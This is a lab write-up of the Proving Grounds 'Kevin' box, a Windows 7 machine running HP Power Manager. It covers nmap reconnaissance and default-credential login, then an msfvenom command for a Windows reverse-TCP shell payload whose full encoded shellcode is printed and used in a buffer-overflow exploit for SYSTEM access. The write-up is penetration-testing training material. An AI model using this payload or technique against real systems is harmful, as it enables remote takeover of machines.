Proving Grounds: Kevin

Below is my write up of the Proving Grounds box called Kevin. This is a windows box that was listed on the lainkusanagi OSCP Practice list. It was a full box where I got to use Default account credentials which ended up be nothing but I got to exploit a buffer overflow vulnerability on the HP service running on the machine.
nmap
root@kali# nmap -sCV -p- -T4 -oN nmap <IPADDRESS>
PORT STATE SERVICE VERSION
80/tcp open http GoAhead WebServer
| http-title: HP Power Manager
|_Requested resource was http://192.168.242.45/index.asp
|_http-server-header: GoAhead-Webs
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=kevin
| Not valid before: 2026-03-09T16:10:24
|_Not valid after: 2026-09-08T16:10:24
| rdp-ntlm-info:
| Target_Name: KEVIN
| NetBIOS_Domain_Name: KEVIN
| NetBIOS_Computer_Name: KEVIN
| DNS_Domain_Name: kevin
| DNS_Computer_Name: kevin
| Product_Version: 6.1.7600
|_ System_Time: 2026-03-10T16:28:02+00:00
|_ssl-date: 2026-03-10T16:28:10+00:00; +1s from scanner time.
3573/tcp open tag-ups-1?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: Host: KEVIN; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::-
| Computer name: kevin
| NetBIOS computer name: KEVIN\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-03-10T09:28:02-07:00
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h24m01s, deviation: 3h07m50s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-03-10T16:28:02
|_ start_date: 2026-03-10T16:10:56
|_nbstat: NetBIOS name: KEVIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:86:ba:72 (VMware)
As you can see there are a couple open services, the One that catches my eye is the HP Power Manager on port 80.
whatweb
whatweb http://192.168.242.45/index.asp
http://192.168.242.45/index.asp [200 OK] ASP_NET, Country[RESERVED][ZZ], GoAhead-Webs, HTTPServer[GoAhead-Webs], IP[192.168.242.45], PasswordField[Password], Script[text/javascript], Title[HP Power Manager]
website
When we go to the website we are greeted so kindly with a login page. It looks like the name of this website is HP Power Manager.

Now that we have a name it’s worth searching for default credentials.

Oh great!

After putting those bad boys in we have access to the website. However, after poking around I realized that there was really no foothold on the website. However it did give us closer look into what the next step was…

Look on searchsploit for this:

I’m a big fan of Python scripts, so I decided to choose the 3rd one.
exploit

After reviewing the code for the 10099 exploit I found that it is a buffer overflow into a reverse shell. I love reverse shells…
Anyways in all seriousness it looks like this exploit was designed for Windows XP. However, the machine we are working on is Windows 7, given away by the fact that the build is build 7. Will have to modify the shell code as seen at the bottom of that picture.
This took the most amount of research out of everything.
msfvenom
msfvenom - makes writing payloads for exploiting vulnerabilities easy
-p - the option of file type I am writing
windows/shell_tcp_reverse - inline, non-staged payload for a reverse shell
-b - the buffer option, this is where the bad-chars will go. This option is for buffers that have to have specific characters
-e - encoding, as shown above it must be mixed alphanumeric
-f - file output
msfvenom -p windows/shell_reverse_tcp -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" LHOST=<MY IP> LPORT=4444 -e x86/alpha_mixed -f c
The output of this is shown below
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of c file: 3017 bytes
unsigned char buf[] =
"\x89\xe6\xd9\xec\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x49\x6c\x4b\x58\x4e\x62\x37\x70\x35\x50"
"\x75\x50\x75\x30\x6f\x79\x7a\x45\x35\x61\x59\x50\x51\x74"
"\x4c\x4b\x62\x70\x34\x70\x6e\x6b\x53\x62\x54\x4c\x6c\x4b"
"\x30\x52\x37\x64\x6c\x4b\x70\x72\x64\x68\x66\x6f\x68\x37"
"\x32\x6a\x55\x76\x76\x51\x49\x6f\x4e\x4c\x45\x6c\x75\x31"
"\x31\x6c\x65\x52\x44\x6c\x61\x30\x4b\x71\x4a\x6f\x46\x6d"
"\x76\x61\x5a\x67\x6b\x52\x49\x62\x52\x72\x46\x37\x4c\x4b"
"\x46\x32\x76\x70\x6c\x4b\x63\x7a\x47\x4c\x4e\x6b\x42\x6c"
"\x62\x31\x63\x48\x4a\x43\x47\x38\x55\x51\x48\x51\x46\x31"
"\x6c\x4b\x72\x79\x47\x50\x35\x51\x6b\x63\x4c\x4b\x43\x79"
"\x52\x38\x4b\x53\x77\x4a\x67\x39\x4e\x6b\x46\x54\x4e\x6b"
"\x45\x51\x58\x56\x55\x61\x79\x6f\x6e\x4c\x49\x51\x68\x4f"
"\x44\x4d\x55\x51\x6a\x67\x34\x78\x79\x70\x31\x65\x5a\x56"
"\x73\x33\x53\x4d\x58\x78\x37\x4b\x33\x4d\x66\x44\x34\x35"
"\x79\x74\x42\x78\x4c\x4b\x76\x38\x56\x44\x36\x61\x6b\x63"
"\x72\x46\x6c\x4b\x44\x4c\x42\x6b\x4e\x6b\x62\x78\x45\x4c"
"\x66\x61\x48\x53\x6e\x6b\x57\x74\x6c\x4b\x47\x71\x38\x50"
"\x4c\x49\x57\x34\x44\x64\x51\x34\x53\x6b\x53\x6b\x55\x31"
"\x62\x79\x70\x5a\x53\x61\x69\x6f\x6d\x30\x61\x4f\x43\x6f"
"\x32\x7a\x6e\x6b\x76\x72\x68\x6b\x6c\x4d\x43\x6d\x33\x58"
"\x76\x53\x50\x32\x37\x70\x43\x30\x50\x68\x52\x57\x33\x43"
"\x75\x62\x73\x6f\x66\x34\x31\x78\x42\x6c\x33\x47\x61\x36"
"\x73\x37\x79\x6f\x69\x45\x78\x38\x6e\x70\x56\x61\x75\x50"
"\x77\x70\x31\x39\x69\x54\x73\x64\x42\x70\x72\x48\x76\x49"
"\x4f\x70\x50\x6b\x53\x30\x69\x6f\x5a\x75\x36\x30\x62\x70"
"\x76\x30\x56\x30\x67\x30\x42\x70\x31\x50\x76\x30\x30\x68"
"\x6a\x4a\x56\x6f\x69\x4f\x69\x70\x4b\x4f\x4a\x75\x6f\x67"
"\x72\x4a\x45\x55\x33\x58\x79\x50\x39\x38\x64\x6d\x4b\x5a"
"\x61\x78\x45\x52\x77\x70\x64\x51\x31\x4c\x6d\x59\x49\x76"
"\x70\x6a\x46\x70\x63\x66\x30\x57\x63\x58\x6c\x59\x39\x35"
"\x61\x64\x35\x31\x4b\x4f\x68\x55\x4d\x55\x59\x50\x70\x74"
"\x66\x6c\x69\x6f\x52\x6e\x57\x78\x72\x55\x6a\x4c\x73\x58"
"\x68\x70\x6c\x75\x6f\x52\x56\x36\x39\x6f\x59\x45\x52\x48"
"\x61\x73\x52\x4d\x52\x44\x37\x70\x4c\x49\x4d\x33\x51\x47"
"\x66\x37\x52\x77\x65\x61\x6b\x46\x50\x6a\x67\x62\x42\x79"
"\x62\x76\x58\x62\x4b\x4d\x62\x46\x4a\x67\x61\x54\x57\x54"
"\x65\x6c\x76\x61\x67\x71\x6c\x4d\x42\x64\x51\x34\x32\x30"
"\x5a\x66\x67\x70\x71\x54\x63\x64\x32\x70\x32\x76\x61\x46"
"\x36\x36\x63\x76\x36\x36\x70\x4e\x52\x76\x71\x46\x66\x33"
"\x63\x66\x33\x58\x54\x39\x38\x4c\x37\x4f\x4b\x36\x79\x6f"
"\x48\x55\x4d\x59\x6b\x50\x30\x4e\x76\x36\x47\x36\x39\x6f"
"\x64\x70\x51\x78\x57\x78\x6e\x67\x35\x4d\x53\x50\x39\x6f"
"\x39\x45\x6d\x6b\x5a\x50\x38\x35\x59\x32\x32\x76\x31\x78"
"\x69\x36\x6f\x65\x6f\x4d\x4d\x4d\x6b\x4f\x38\x55\x35\x6c"
"\x63\x36\x61\x6c\x64\x4a\x6f\x70\x59\x6b\x6d\x30\x63\x45"
"\x45\x55\x6d\x6b\x67\x37\x45\x43\x51\x62\x30\x6f\x31\x7a"
"\x47\x70\x30\x53\x6b\x4f\x59\x45\x41\x41";
Splendid, now we paste that into the exploit and run it.

Freaking awesome sauce.
After navigating throughout the file system I was able to find the proof flag, the reason this was so easy is because I was able to get the reverse shell as NTAuthority/system.
One more down :D